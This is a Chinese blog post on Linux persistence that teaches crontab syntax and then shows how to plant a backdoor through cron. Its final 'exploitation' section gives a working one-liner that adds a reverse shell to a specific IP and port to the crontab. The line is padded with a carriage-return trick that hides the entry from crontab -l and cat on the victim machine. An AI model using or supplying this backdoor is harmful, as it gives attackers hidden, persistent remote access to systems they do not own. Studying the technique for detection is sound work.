Linux权限维持(五)

利用Cron机制安装后门

Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照一定时间执行某一个任务。

1、crontab命令选项

# crontab -u 
-u指定一个用户
​
-l列出某个用户的任务计划
​
-r删除某个用户的任务
​
-e编辑某个用户的任务

2、cron 文件写法

可用crontab -e命令来编辑,编辑的是/var/spool/cron下对应用户的cron文件,也可以直接修改/etc/crontab文件。

Minute Hour Day Month Week command
​
分钟 小时 天 月 星期 命令
​
0-59 0-23 1-31 1-12 0-6 command
​
Minute 每个小时的第几分钟执行该任务
​
Hour 每天的第几个小时执行该任务
​
Day 每月的第几天执行该任务
​
Month 每年的第几个月执行该任务
​
DayOfWeek 每周的第几天执行该任务,0表示周日
​
Command 指定要执行的程序、脚本或命令

3、特殊符号的含义

星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。

逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”

中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”

正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。

4、常用命令

vi /etc/crontab  ## cron配置文件路径
​
/etc/init.d/crond restart  ##重启cron
​
查看cron服务情况
​
service crond status  ##crond服务状态
​
service crond stop    ##crond服务关闭
​
service crond start   ##crond服务打开
​
cat /var/log/cron  ##查看cron日志
​
chmod +x filename  ##将脚本改成可执行

5、常用示例

5  * * * * ls ##指定每小时的第5分钟执行一次ls命令
​
30 5 * * * ls ##指定每天的 5:30 执行ls命令
​
30 7 8 * * ls ##指定每月8号的7:30分执行ls命令
​
30 5 8 6 * ls ##指定每年的6月8日5:30执行ls命令
​
30 6 * * 0 ls ##指定每星期日的6:30执行ls命令[注:0表示星期天,1表示星期1,以此类推,也可以用英文来表示,sun表示星期天,mon表示星期一等。]
​
30 3 10,20 * * ls ##每月10号及20号的3:30执行ls命令[注:“,”用来连接多个不连续的时段]
​
25 8-11 * * * ls ##每天8-11点的第25分钟执行ls命令[注:“-”用来连接连续的时段] */15 * * * * ls 每15分钟执行一次ls命令 [即每个小时的第0 15 30 45 60分钟执行ls命令 ]
​
30 6 */10 * * ls ##每个月中,每隔10天6:30执行一次ls命令[即每月的1、11、21、31日是的6:30执行一次ls命令 ]

每天7:50以root 身份执行/etc/cron.daily目录中的所有可执行文件

50 7 * * * root run-parts /etc/cron.daily [ 注:run-parts参数表示,执行后面目录中的所有可执行文件]

第10、20、30分钟输出到/tmp/cron1.txt:

10,20,30 * * * * echo “第10、20、30分钟输出一次” >> /tmp/cron1.txt

以用户web的身份每两小时就运行某个程序:

0 */2 * * * web /usr/bin/somecommand >> /dev/null 2>&1

6、利用

可以使用基本的服务查看状态命令等查看信息。

service cron status

查看用户的执行计划。(如果你显示没有计划不要着急,后面加上cron.allow和cron.deny就有了)

crontab -l ##列出任务
crontab -e ##编辑任务

我们可以通过将反弹shell加入到定时任务内进行执行:

(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.0.114/2334 0>&1';\r%100c\n")|crontab -

而且我们会发现在受害机上查询定时任务会查询不到东西:

这个是因为我们在编辑定时任务时加进去的 \r%100c\n ,这个在Linux下的cat等命令是默认无法显示出来的,对于隐藏痕迹有一些好处。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值